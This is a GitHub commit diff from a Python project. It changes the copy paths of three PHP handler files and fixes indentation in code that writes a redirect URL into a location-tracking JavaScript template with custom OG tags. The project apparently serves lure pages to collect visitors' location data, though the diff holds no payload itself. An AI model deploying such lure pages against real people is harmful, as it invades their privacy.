File tree 5 files changed +6
-6
lines changed
5 files changed +6
-6
lines changed File renamed without changes.
File renamed without changes.
File renamed without changes.
Original file line number Diff line number Diff line change @@ -156,9 +156,9 @@ def template_select(site):
156
156
157
157
imp_file = templ_json ['templates' ][selected ]['import_file' ]
158
158
importlib .import_module (f'template.{ imp_file } ' )
159
- shutil .copyfile ("template/ php/error.php" , 'template/{}/error_handler.php' .format (templ_json ['templates' ][selected ]["dir_name" ]))
160
- shutil .copyfile ("template/ php/info.php" , 'template/{}/info_handler.php' .format (templ_json ['templates' ][selected ]["dir_name" ]))
161
- shutil .copyfile ("template/ php/result.php" , 'template/{}/result_handler.php' .format (templ_json ['templates' ][selected ]["dir_name" ]))
159
+ shutil .copyfile ("php/error.php" , 'template/{}/error_handler.php' .format (templ_json ['templates' ][selected ]["dir_name" ]))
160
+ shutil .copyfile ("php/info.php" , 'template/{}/info_handler.php' .format (templ_json ['templates' ][selected ]["dir_name" ]))
161
+ shutil .copyfile ("php/result.php" , 'template/{}/result_handler.php' .format (templ_json ['templates' ][selected ]["dir_name" ]))
162
162
163
163
164
164
return site
Original file line number Diff line number Diff line change 45
45
utils .print (f'{ G } [+] { C } Description :{ W } ' + desc )
46
46
47
47
with open ('template/custom_og_tags/js/location_temp.js' , 'r' ) as js :
48
- reader = js .read ()
49
- update = reader .replace ('REDIRECT_URL' , redirect )
48
+ reader = js .read ()
49
+ update = reader .replace ('REDIRECT_URL' , redirect )
50
50
51
51
with open ('template/custom_og_tags/js/location.js' , 'w' ) as js_update :
52
- js_update .write (update )
52
+ js_update .write (update )
53
53
54
54
with open ('template/custom_og_tags/index_temp.html' , 'r' ) as index_temp :
55
55
code = index_temp .read ()
You can’t perform that action at this time.
0 commit comments